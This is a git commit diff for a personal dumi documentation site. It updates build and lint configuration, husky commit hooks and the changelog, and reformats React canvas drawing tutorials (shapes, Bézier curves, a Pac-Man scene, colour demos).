feat: 修改忽略文件

This commit is contained in:
NICE CODE BY DEV 2024-01-28 20:48:43 +08:00
commit b94e100654
237 changed files with 40578 additions and 15100 deletions

36
.dumi/global.less Normal file
View File

@ -0,0 +1,36 @@
#root .dumi-default-doc-layout .dumi-default-features-item {
text-align: center;
}
#root .dumi-default-doc-layout > main {
max-width: none;
}
#root .dumi-default-sidebar {
overflow-y: hidden;
&:hover {
overflow-y: auto;
}
}
#root .dumi-default-logo {
font-size: 18px;
}
#root .dumi-default-logo img {
width: 30px;
height: auto;
}
#root .dumi-default-navbar>li {
font-size: 14px;
white-space: nowrap;
}
#root .dumi-default-search-bar-input {
width: 200px;
height: 32px;
font-size: 12px;
}
#root .dumi-default-hero-title>span {
font-size: 96px;
}

View File

@ -1,12 +0,0 @@
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
import React from 'react';
import Layout from 'dumi-theme-default/es/layout';
export default ({ children, ...props }) => (
<Layout {...props}>
<>
<button></button>
{children}
</>
</Layout>
);

View File

@ -1,32 +0,0 @@
// .dumi/theme/layout.tsx(本地主题) 或 src/layout.tsx(主题包)
import React, { useEffect } from 'react';
import Layout from 'dumi-theme-default/es/layout';
export default ({ children, ...props }) => {
const { history } = props;
useEffect(() => {
const header = document.querySelector('.__dumi-default-navbar')
const cont = document.querySelector('.__dumi-default-layout-content')
const lo = document.querySelector('.__dumi-default-layout')
if (location.hash === '#/resume' && lo) {
cont.style.position = 'relative'
cont.style.top = '-64px'
header.style.display = 'none'
} else {
cont.style.position = 'relative'
cont.style.top = '0'
header.style.display = 'flex'
}
},[location.hash])
return (
<Layout {...props}>
<>
{children}
</>
</Layout>
)
};

38
.dumirc.ts Normal file
View File

@ -0,0 +1,38 @@
import { defineConfig } from 'dumi';
export default defineConfig({
title: 'Nice Note',
themeConfig: {
navs: [
null,
{
title: 'GitHub',
path: 'git@github.com:j710328466/learn-note.git',
},
]
},
logo: 'https://i.niupic.com/images/2021/06/07/9krN.png',
favicons: ['https://i.niupic.com/images/2021/06/07/9krN.png'],
outputPath: 'docs-dist',
hash: true,
history: {
type: 'hash',
},
publicPath: '/',
resolve: {
docDirs: ['docs'],
atomDirs: [{ type: 'component', dir: 'src' }],
codeBlockMode: 'passive',
},
locales: [{ id: 'zh-CN', name: '中文' }], // 2.0 默认值
analyze: {
analyzerMode: 'server',
analyzerPort: 8888,
openAnalyzer: false,
// generate stats file while ANALYZE_DUMP exist
generateStatsFile: false,
statsFilename: 'stats.json',
logLevel: 'info',
defaultSizes: 'parsed', // stat // gzip
}
});

3
.editorconfig Executable file → Normal file
View File

@ -11,6 +11,3 @@ insert_final_newline = true
[*.md]
trim_trailing_whitespace = false
[Makefile]
indent_style = tab

View File

@ -1,4 +0,0 @@
export default {
esm: 'rollup',
cjs: 'rollup',
};

19
.gitignore vendored
View File

@ -1,20 +1,8 @@
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
# dependencies
/node_modules
/npm-debug.log*
/yarn-error.log
/yarn.lock
/package-lock.json
# production
node_modules
/dist
/docs-dist
# misc
.dumi/tmp
.dumi/tmp-production
.DS_Store
# umi
.umi
.umi-production
.umi-test
@ -27,3 +15,4 @@
# ide
/.vscode
/.idea
/docs-dist

4
.husky/commit-msg Executable file
View File

@ -0,0 +1,4 @@
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"
npx commitlint --edit "${1}"

4
.husky/pre-commit Executable file
View File

@ -0,0 +1,4 @@
#!/usr/bin/env sh
. "$(dirname -- "$0")/_/husky.sh"
npx lint-staged

3
.npmrc Normal file
View File

@ -0,0 +1,3 @@
registry="https://registry.npmmirror.com"
strict-peer-dependencies=false
ignore-workspace-root-check=true

View File

@ -1,7 +1,3 @@
**/*.svg
**/*.ejs
**/*.html
package.json
.umi
.umi-production
.umi-test
.dumi/tmp
.dumi/tmp-production
*.yaml

View File

@ -1,11 +0,0 @@
{
"singleQuote": true,
"trailingComma": "all",
"printWidth": 80,
"overrides": [
{
"files": ".prettierrc",
"options": { "parser": "json" }
}
]
}

14
.prettierrc.js Normal file
View File

@ -0,0 +1,14 @@
module.exports = {
printWidth: 80,
proseWrap: 'never',
singleQuote: true,
trailingComma: 'all',
overrides: [
{
files: '*.md',
options: {
proseWrap: 'preserve',
},
},
],
};

View File

@ -1,39 +0,0 @@
import { defineConfig } from 'dumi';
export default defineConfig({
title: 'NiceNote',
favicon: 'https://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.ico',
logo: 'http://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.png',
outputPath: 'docs-dist',
hash: true,
dynamicImport: {},
history: {
type: 'hash',
},
mode: 'site',
publicPath: '/',
resolve: {
includes: [
'docs',
'src'
],
},
locales: [['zh-CN', '中文']],
navs: [
null,
{
title: 'GitHub',
path: 'git@github.com:j710328466/learn-note.git',
},
],
analyze: {
analyzerMode: 'server',
analyzerPort: 8888,
openAnalyzer: false,
// generate stats file while ANALYZE_DUMP exist
generateStatsFile: false,
statsFilename: 'stats.json',
logLevel: 'info',
defaultSizes: 'parsed', // stat // gzip
}
});

View File

@ -2,34 +2,30 @@
### 🌟 新功能
* 初始化项目 ([466dbeb](https://github.com/j710328466/j710328466.github.io/commit/466dbeb))
* 新增模块 ([9e0b3a9](https://github.com/j710328466/j710328466.github.io/commit/9e0b3a9))
* 新增心跳组件 ([82a59b4](https://github.com/j710328466/j710328466.github.io/commit/82a59b4))
* 修改toolsgit命令 ([efb8285](https://github.com/j710328466/j710328466.github.io/commit/efb8285))
* **docs** 新增文章 ([f659605](https://github.com/j710328466/j710328466.github.io/commit/f659605))
* **fea/vue** 新增vue教程文档 ([d150264](https://github.com/j710328466/j710328466.github.io/commit/d150264))
* **fea** typescript ([abb3cfe](https://github.com/j710328466/j710328466.github.io/commit/abb3cfe))
* **md** 新文章 ([41459c4](https://github.com/j710328466/j710328466.github.io/commit/41459c4))
* **package.json** 添加husky ([95a0051](https://github.com/j710328466/j710328466.github.io/commit/95a0051))
* **resume** 修改简历 ([9f28c78](https://github.com/j710328466/j710328466.github.io/commit/9f28c78))
* svg学习笔记 ([63e96b7](https://github.com/j710328466/j710328466.github.io/commit/63e96b7))
- 初始化项目 ([466dbeb](https://github.com/j710328466/j710328466.github.io/commit/466dbeb))
- 新增模块 ([9e0b3a9](https://github.com/j710328466/j710328466.github.io/commit/9e0b3a9))
- 新增心跳组件 ([82a59b4](https://github.com/j710328466/j710328466.github.io/commit/82a59b4))
- 修改 toolsgit 命令 ([efb8285](https://github.com/j710328466/j710328466.github.io/commit/efb8285))
- **docs** 新增文章 ([f659605](https://github.com/j710328466/j710328466.github.io/commit/f659605))
- **fea/vue** 新增 vue 教程文档 ([d150264](https://github.com/j710328466/j710328466.github.io/commit/d150264))
- **fea** typescript ([abb3cfe](https://github.com/j710328466/j710328466.github.io/commit/abb3cfe))
- **md** 新文章 ([41459c4](https://github.com/j710328466/j710328466.github.io/commit/41459c4))
- **package.json** 添加 husky ([95a0051](https://github.com/j710328466/j710328466.github.io/commit/95a0051))
- **resume** 修改简历 ([9f28c78](https://github.com/j710328466/j710328466.github.io/commit/9f28c78))
- svg 学习笔记 ([63e96b7](https://github.com/j710328466/j710328466.github.io/commit/63e96b7))
### 🐛 Bug 修复
* **工具类:** lerna QA ([dbb0c36](https://github.com/j710328466/j710328466.github.io/commit/dbb0c36))
* 设计模式添加 ([79143a6](https://github.com/j710328466/j710328466.github.io/commit/79143a6))
* 新增react学习 ([a7ec84e](https://github.com/j710328466/j710328466.github.io/commit/a7ec84e))
* 修改路径 ([2261dc4](https://github.com/j710328466/j710328466.github.io/commit/2261dc4))
* 修改配置 ([bfd5f0f](https://github.com/j710328466/j710328466.github.io/commit/bfd5f0f))
* 修改设计模式 ([6f5630d](https://github.com/j710328466/j710328466.github.io/commit/6f5630d))
* 修改bug ([83e7ea9](https://github.com/j710328466/j710328466.github.io/commit/83e7ea9))
* 优化react 设计模式 ([cf4958e](https://github.com/j710328466/j710328466.github.io/commit/cf4958e))
* **fed/vue** 新增内容 ([07f15ba](https://github.com/j710328466/j710328466.github.io/commit/07f15ba))
* **resume** 新增简历 ([f40ea2e](https://github.com/j710328466/j710328466.github.io/commit/f40ea2e))
* **resume** 修改简历 ([aa7715c](https://github.com/j710328466/j710328466.github.io/commit/aa7715c))
* **resume** 修改简历 ([3e498ff](https://github.com/j710328466/j710328466.github.io/commit/3e498ff))
* **sd** sd ([e7d434d](https://github.com/j710328466/j710328466.github.io/commit/e7d434d))
- **工具类:** lerna QA ([dbb0c36](https://github.com/j710328466/j710328466.github.io/commit/dbb0c36))
- 设计模式添加 ([79143a6](https://github.com/j710328466/j710328466.github.io/commit/79143a6))
- 新增 react 学习 ([a7ec84e](https://github.com/j710328466/j710328466.github.io/commit/a7ec84e))
- 修改路径 ([2261dc4](https://github.com/j710328466/j710328466.github.io/commit/2261dc4))
- 修改配置 ([bfd5f0f](https://github.com/j710328466/j710328466.github.io/commit/bfd5f0f))
- 修改设计模式 ([6f5630d](https://github.com/j710328466/j710328466.github.io/commit/6f5630d))
- 修改 bug ([83e7ea9](https://github.com/j710328466/j710328466.github.io/commit/83e7ea9))
- 优化 react 设计模式 ([cf4958e](https://github.com/j710328466/j710328466.github.io/commit/cf4958e))
- **fed/vue** 新增内容 ([07f15ba](https://github.com/j710328466/j710328466.github.io/commit/07f15ba))
- **resume** 新增简历 ([f40ea2e](https://github.com/j710328466/j710328466.github.io/commit/f40ea2e))
- **resume** 修改简历 ([aa7715c](https://github.com/j710328466/j710328466.github.io/commit/aa7715c))
- **resume** 修改简历 ([3e498ff](https://github.com/j710328466/j710328466.github.io/commit/3e498ff))
- **sd** sd ([e7d434d](https://github.com/j710328466/j710328466.github.io/commit/e7d434d))

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2021 Dev
Copyright (c) 71032866@qq.com
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

View File

@ -1,27 +1,20 @@
# learn-note
# nicenote
## Getting Started
A static site base on [dumi](https://d.umijs.org).
Install dependencies,
## Development
```bash
$ npm i
# install dependencies
$ cnpm install
# start dev server
$ cnpm start
# build docs
$ cnpm run build
```
Start the dev server,
## LICENSE
```bash
$ npm start
```
Build documentation,
```bash
$ npm run docs:build
```
Build library via `father-build`,
```bash
$ npm run build
```
MIT

View File

@ -1,3 +0,0 @@
module.exports = {
extends: ["@nicecode/commit-lint"]
};

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 Q&A
order: 100
path: /qa
---
# 💊 Q&A

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 canvas
order: 2
path: /canvas
---
## 基础入门
@ -15,7 +16,7 @@ group:
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* 绘制矩形
@ -24,32 +25,32 @@ export default () => {
* clearRect(x, y, w, h) 清除指定区域
*/
function fillRect() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
// 实心矩形
ctx.fillStyle = 'red'
ctx.fillRect(25, 25, 50, 50)
ctx.fillStyle = 'red';
ctx.fillRect(25, 25, 50, 50);
// 空心矩形
ctx.lineWidth = 1
ctx.fillStyle = 'black'
ctx.strokeRect(75, 75, 50, 50)
ctx.lineWidth = 1;
ctx.fillStyle = 'black';
ctx.strokeRect(75, 75, 50, 50);
// 清除区域
ctx.clearRect(50, 50, 50, 50)
ctx.clearRect(50, 50, 50, 50);
}
useEffect(() => {
fillRect()
}, [])
fillRect();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 三角形
@ -58,40 +59,40 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* 绘制三角形
*/
function tri() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
// 实心三角形
ctx.beginPath()
ctx.moveTo(90, 25)
ctx.lineTo(25, 90)
ctx.lineTo(155, 90)
ctx.fill()
ctx.beginPath();
ctx.moveTo(90, 25);
ctx.lineTo(25, 90);
ctx.lineTo(155, 90);
ctx.fill();
ctx.beginPath()
ctx.moveTo(90, 155)
ctx.lineTo(25, 90)
ctx.lineTo(155, 90)
ctx.closePath()
ctx.stroke()
ctx.beginPath();
ctx.moveTo(90, 155);
ctx.lineTo(25, 90);
ctx.lineTo(155, 90);
ctx.closePath();
ctx.stroke();
}
useEffect(() => {
tri()
}, [])
tri();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 绘制圆弧
@ -100,38 +101,38 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
// 绘制圆弧
function drawArc() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
let x = 90,
y = 90,
r = 30,
startAngle = 0,
endAngle = (Math.PI / 180) * 180
endAngle = (Math.PI / 180) * 180;
ctx.beginPath()
ctx.arc(x, y, r, startAngle, endAngle, false)
ctx.fill()
ctx.beginPath();
ctx.arc(x, y, r, startAngle, endAngle, false);
ctx.fill();
ctx.beginPath()
ctx.arc(x, y, r, startAngle, endAngle, true)
ctx.stroke()
ctx.beginPath();
ctx.arc(x, y, r, startAngle, endAngle, true);
ctx.stroke();
}
useEffect(() => {
drawArc()
}, [])
drawArc();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 绘制贝塞尔曲线
@ -140,7 +141,7 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* quadraticCurveTo(cp1x, cp1y, x, y) cp1 为控制点
@ -148,36 +149,35 @@ export default () => {
* x、y 为结束点
*/
function bezier() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
// 二次贝塞尔曲线
ctx.beginPath()
ctx.moveTo(30, 90)
ctx.quadraticCurveTo(15, 15, 90, 30)
ctx.quadraticCurveTo(165, 15, 150, 90)
ctx.quadraticCurveTo(148, 130, 70, 120)
ctx.quadraticCurveTo(65, 140, 40, 140)
ctx.quadraticCurveTo(65, 135, 55, 120)
ctx.quadraticCurveTo(30, 115, 30, 90)
ctx.stroke()
ctx.font = '18px bold 黑体'
ctx.fillStyle = 'black'
ctx.fillText('聊天框', 120, 160)
ctx.beginPath();
ctx.moveTo(30, 90);
ctx.quadraticCurveTo(15, 15, 90, 30);
ctx.quadraticCurveTo(165, 15, 150, 90);
ctx.quadraticCurveTo(148, 130, 70, 120);
ctx.quadraticCurveTo(65, 140, 40, 140);
ctx.quadraticCurveTo(65, 135, 55, 120);
ctx.quadraticCurveTo(30, 115, 30, 90);
ctx.stroke();
ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black';
ctx.fillText('聊天框', 120, 160);
}
useEffect(() => {
bezier()
}, [])
bezier();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 绘制三次贝塞尔曲线
@ -186,43 +186,43 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* 绘制三次贝塞尔曲线
*
*/
function beziers() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
// 三次贝塞尔曲线
ctx.beginPath()
ctx.moveTo(90, 40)
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25)
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5)
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140)
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5)
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25)
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40)
ctx.fillStyle = 'red'
ctx.fill()
ctx.beginPath();
ctx.moveTo(90, 40);
ctx.bezierCurveTo(90, 36, 70, 25, 50, 25);
ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
ctx.bezierCurveTo(20, 80, 40, 120, 90, 140);
ctx.bezierCurveTo(110, 135, 155, 110, 160, 62.5);
ctx.bezierCurveTo(160, 22, 140, 25, 130, 25);
ctx.bezierCurveTo(120, 25, 110, 30, 90, 40);
ctx.fillStyle = 'red';
ctx.fill();
ctx.font = '18px bold 黑体'
ctx.fillStyle = 'black'
ctx.fillText('爱心', 120, 160)
ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black';
ctx.fillText('爱心', 120, 160);
}
useEffect(() => {
beziers()
}, [])
beziers();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 绘制笑脸
@ -231,42 +231,41 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* 绘制笑脸
*
*/
function fillSmile() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
ctx.beginPath()
ctx.arc(75, 75, 50, 0, Math.PI * 2, true)
ctx.moveTo(110, 75)
ctx.arc(75, 75, 35, 0, Math.PI, false)
ctx.moveTo(65, 65)
ctx.arc(60, 65, 5, 0, Math.PI * 2, true)
ctx.moveTo(95, 65)
ctx.arc(90, 65, 5, 0, Math.PI * 2, true)
ctx.stroke()
ctx.beginPath();
ctx.arc(75, 75, 50, 0, Math.PI * 2, true);
ctx.moveTo(110, 75);
ctx.arc(75, 75, 35, 0, Math.PI, false);
ctx.moveTo(65, 65);
ctx.arc(60, 65, 5, 0, Math.PI * 2, true);
ctx.moveTo(95, 65);
ctx.arc(90, 65, 5, 0, Math.PI * 2, true);
ctx.stroke();
ctx.font = '18px bold 黑体'
ctx.fillStyle = 'black'
ctx.fillText('笑脸', 120, 160)
ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black';
ctx.fillText('笑脸', 120, 160);
}
useEffect(() => {
fillSmile()
}, [])
fillSmile();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
### 吃豆人
@ -275,99 +274,99 @@ export default () => {
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef = useRef();
/**
* 吃豆人
*
*/
function bean() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
// 外墙
_roundedRect(ctx, 12, 12, 160, 160, 15)
_roundedRect(ctx, 18, 18, 148, 148, 9)
_roundedRect(ctx, 12, 12, 160, 160, 15);
_roundedRect(ctx, 18, 18, 148, 148, 9);
// 内墙
_roundedRect(ctx, 45, 50, 45, 30, 6)
_roundedRect(ctx, 115, 50, 45, 30, 6)
_roundedRect(ctx, 115, 110, 45, 50, 6)
_roundedRect(ctx, 45, 110, 45, 25, 6)
_roundedRect(ctx, 45, 50, 45, 30, 6);
_roundedRect(ctx, 115, 50, 45, 30, 6);
_roundedRect(ctx, 115, 110, 45, 50, 6);
_roundedRect(ctx, 45, 110, 45, 25, 6);
// 绘制吃豆人
ctx.beginPath()
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false)
ctx.lineTo(31, 37)
ctx.fill()
ctx.beginPath();
ctx.arc(35, 35, 10, Math.PI / 7, -Math.PI / 7, false);
ctx.lineTo(31, 37);
ctx.fill();
// 绘制魔鬼
ctx.beginPath()
ctx.moveTo(83, 116)
ctx.lineTo(83, 102)
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88)
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102)
ctx.lineTo(111, 116)
ctx.lineTo(106.3, 111.3)
ctx.lineTo(97.3, 111)
ctx.lineTo(92, 116)
ctx.lineTo(87, 111)
ctx.lineTo(83, 116)
ctx.fill()
ctx.beginPath();
ctx.moveTo(83, 116);
ctx.lineTo(83, 102);
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
ctx.lineTo(111, 116);
ctx.lineTo(106.3, 111.3);
ctx.lineTo(97.3, 111);
ctx.lineTo(92, 116);
ctx.lineTo(87, 111);
ctx.lineTo(83, 116);
ctx.fill();
// 绘制小点
for (let i = 0; i < 7; i++) {
ctx.fillRect(52 + i * 16, 35, 4, 4)
ctx.fillRect(52 + i * 16, 35, 4, 4);
}
// 绘制小点
for (let i = 0; i < 7; i++) {
ctx.fillRect(28, 52 + i * 16, 4, 4)
ctx.fillRect(28, 52 + i * 16, 4, 4);
}
// 绘制小点
for (let i = 0; i < 7; i++) {
ctx.fillRect(100, 52 + i * 16, 4, 4)
ctx.fillRect(100, 52 + i * 16, 4, 4);
}
// 绘制小点
for (let i = 0; i < 8; i++) {
ctx.fillRect(44 + i * 16, 92, 4, 4)
ctx.fillRect(44 + i * 16, 92, 4, 4);
}
// 绘制小点
for (let i = 0; i < 3; i++) {
ctx.fillRect(44 + i * 16, 148, 4, 4)
ctx.fillRect(44 + i * 16, 148, 4, 4);
}
ctx.fillStyle = 'white'
ctx.beginPath()
ctx.moveTo(91, 96)
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101)
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106)
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101)
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96)
ctx.moveTo(103, 96)
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101)
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106)
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101)
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96)
ctx.fill()
ctx.fillStyle = 'white';
ctx.beginPath();
ctx.moveTo(91, 96);
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
ctx.moveTo(103, 96);
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
ctx.fill();
// 右眼
ctx.fillStyle = 'blue'
ctx.beginPath()
ctx.arc(101, 102, 2, 0, Math.PI * 2, true)
ctx.fill()
ctx.fillStyle = 'blue';
ctx.beginPath();
ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
ctx.fill();
// 左眼
ctx.beginPath()
ctx.arc(89, 102, 2, 0, Math.PI * 2, true)
ctx.fill()
ctx.beginPath();
ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
ctx.fill();
ctx.font = '18px bold 黑体'
ctx.fillStyle = 'black'
ctx.fillText('吃豆人', 180, 180)
ctx.font = '18px bold 黑体';
ctx.fillStyle = 'black';
ctx.fillText('吃豆人', 180, 180);
ctx.clearRect(150, 0, 100, 200)
ctx.clearRect(150, 0, 100, 200);
/**
* 绘制圆角矩形的函数
@ -394,23 +393,18 @@ export default () => {
}
}
useEffect(() => {
bean()
}, [])
bean();
}, []);
return (
<div>
<canvas ref={canvasRef} width="200" height="200" />
</div>
)
}
);
};
```
```js
```

View File

@ -5,6 +5,7 @@ nav:
group:
title: 💊 canvas
order: 2
path: /canvas
---
## 颜色
@ -13,123 +14,127 @@ group:
import React, { useRef, useEffect } from 'react';
export default () => {
const canvasRef = useRef()
const canvasRef2 = useRef()
const canvasRef3 = useRef()
const canvasRef4 = useRef()
const canvasRef5 = useRef()
const canvasRef6 = useRef()
const canvasRef7 = useRef()
const canvasRef8 = useRef()
const canvasRef9 = useRef()
const canvasRef10 = useRef()
const canvasRef11 = useRef()
const canvasRef12 = useRef()
const canvasRef = useRef();
const canvasRef2 = useRef();
const canvasRef3 = useRef();
const canvasRef4 = useRef();
const canvasRef5 = useRef();
const canvasRef6 = useRef();
const canvasRef7 = useRef();
const canvasRef8 = useRef();
const canvasRef9 = useRef();
const canvasRef10 = useRef();
const canvasRef11 = useRef();
const canvasRef12 = useRef();
function demo1() {
let canvas = canvasRef.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef.current;
let ctx = canvas.getContext('2d');
for (let i = 0; i < 6; i++) {
for (let j = 0; j < 6; j++) {
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
ctx.fillRect(j * 25, i * 25, 25, 25)
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
255 - 42.5 * j,
)}, 0)`;
ctx.fillRect(j * 25, i * 25, 25, 25);
}
}
}
function demo2() {
let canvas = canvasRef2.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef2.current;
let ctx = canvas.getContext('2d');
for (let i = 0; i < 6; i++) {
for (let j = 0; j < 6; j++) {
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
ctx.beginPath()
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true)
ctx.stroke()
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
255 - 42.5 * j,
)}, 0)`;
ctx.beginPath();
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
ctx.stroke();
}
}
}
function demo3() {
let canvas = canvasRef3.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef3.current;
let ctx = canvas.getContext('2d');
ctx.fillStyle = '#fd0'
ctx.fillRect(0, 0, 75,75)
ctx.fillStyle = '#6c0'
ctx.fillRect(75, 0, 75, 75)
ctx.fillStyle = '#09f'
ctx.fillRect(0, 75, 75, 75)
ctx.fillStyle = '#f30'
ctx.fillRect(75, 75, 75, 75)
ctx.fillStyle = '#fd0';
ctx.fillRect(0, 0, 75, 75);
ctx.fillStyle = '#6c0';
ctx.fillRect(75, 0, 75, 75);
ctx.fillStyle = '#09f';
ctx.fillRect(0, 75, 75, 75);
ctx.fillStyle = '#f30';
ctx.fillRect(75, 75, 75, 75);
ctx.fillStyle = '#fff'
ctx.globalAlpha = 0.2
ctx.fillStyle = '#fff';
ctx.globalAlpha = 0.2;
for (let i = 0; i < 6; i++) {
ctx.beginPath()
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true)
ctx.fill()
ctx.beginPath();
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
ctx.fill();
}
}
function demo4() {
let canvas = canvasRef4.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef4.current;
let ctx = canvas.getContext('2d');
ctx.fillStyle = 'rgb(255, 221, 0)'
ctx.fillRect(0, 0, 200, 50)
ctx.fillStyle = 'rgb(102, 204, 0)'
ctx.fillRect(0, 50, 200, 50)
ctx.fillStyle = 'rgb(0, 153, 255)'
ctx.fillRect(0, 100, 200, 50)
ctx.fillStyle = 'rgb(255, 51, 0)'
ctx.fillRect(0, 150, 200, 50)
ctx.fillStyle = 'rgb(255, 221, 0)';
ctx.fillRect(0, 0, 200, 50);
ctx.fillStyle = 'rgb(102, 204, 0)';
ctx.fillRect(0, 50, 200, 50);
ctx.fillStyle = 'rgb(0, 153, 255)';
ctx.fillRect(0, 100, 200, 50);
ctx.fillStyle = 'rgb(255, 51, 0)';
ctx.fillRect(0, 150, 200, 50);
for (let i = 0; i < 10; i++) {
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`;
for (let j = 0; j < 4; j++) {
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40)
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40);
}
}
}
function demo5() {
let canvas = canvasRef5.current
let ctx = canvas.getContext('2d')
let canvas = canvasRef5.current;
let ctx = canvas.getContext('2d');
for (let i = 0; i < 10; i++) {
ctx.lineWidth = 1 + i
ctx.beginPath()
ctx.moveTo(5.5 + i * 14, 5.5)
ctx.lineTo(5.5 + i * 14, 140.5)
ctx.stroke()
ctx.lineWidth = 1 + i;
ctx.beginPath();
ctx.moveTo(5.5 + i * 14, 5.5);
ctx.lineTo(5.5 + i * 14, 140.5);
ctx.stroke();
}
}
function demo6() {
let canvas = canvasRef6.current
let ctx = canvas.getContext('2d')
let lineCap = ['butt', 'round', 'square']
let canvas = canvasRef6.current;
let ctx = canvas.getContext('2d');
let lineCap = ['butt', 'round', 'square'];
ctx.strokeStyle = '#09f'
ctx.beginPath()
ctx.moveTo(10, 20)
ctx.lineTo(140, 20)
ctx.moveTo(10, 130)
ctx.lineTo(140, 130)
ctx.stroke()
ctx.strokeStyle = '#09f';
ctx.beginPath();
ctx.moveTo(10, 20);
ctx.lineTo(140, 20);
ctx.moveTo(10, 130);
ctx.lineTo(140, 130);
ctx.stroke();
ctx.strokeStyle = 'black'
ctx.strokeStyle = 'black';
for (let i = 0; i < lineCap.length; i++) {
ctx.lineWidth = 15
ctx.lineCap = lineCap[i]
ctx.beginPath()
ctx.moveTo(25 + i * 50, 20)
ctx.lineTo(25 + i * 50, 130)
ctx.stroke()
ctx.lineWidth = 15;
ctx.lineCap = lineCap[i];
ctx.beginPath();
ctx.moveTo(25 + i * 50, 20);
ctx.lineTo(25 + i * 50, 130);
ctx.stroke();
}
}
@ -138,20 +143,20 @@ export default () => {
* bevel 不让线段超过最大
*/
